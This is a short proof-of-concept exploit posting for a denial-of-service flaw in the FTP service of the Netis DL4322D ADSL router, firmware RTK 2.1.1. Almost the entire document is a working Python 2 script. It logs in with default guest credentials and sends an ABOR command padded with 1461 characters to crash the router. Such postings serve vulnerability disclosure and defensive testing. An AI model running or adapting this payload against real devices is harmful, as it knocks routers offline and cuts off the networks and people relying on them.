Netis ADSL Router DL4322D RKS 2.1.1 Denial Of Service

`# Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)  
# Author: Cakes  
# Discovery Date: 2018-09-16  
# Vendor Homepage: http://www.netis-systems.com  
# Software Link: http://www.netis-systems.com/Home/detail/id/74.html  
# Tested Version: RTK 2.1.1  
# Tested on OS: Kali Linux  
# CVE: N/A  
  
# Description  
# The FTP service is vulnerable to a Denial of Service attack. Attackers simply need to log  
# into the router and send and valid FTP command with a character offset of 1461 as the command input  
  
import socket   
  
evil = '\x41'*1461  
  
print "\n[*] Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)"  
print "\r[i] Creating socket"  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
print "\r[i] Connecting..."  
connect = s.connect(('192.168.1.1',21))  
s.recv(1024)  
  
try:  
s.send('USER guest\r\n')  
s.recv(1024)  
s.send('PASS guest\r\n')  
s.recv(1024)  
print "\r[+] Connected"  
except:  
print "\r[!] Credentials aren't working. Please change if none default"  
  
print "\r[+] Sending Payload"  
  
try:  
s.send('ABOR %s' % (evil))  
print "\r[+] Payload sent"  
print "\r[+] Router offline"  
except:  
print "\r[!] Something went wrong"  
  
s.close()  
  
  
`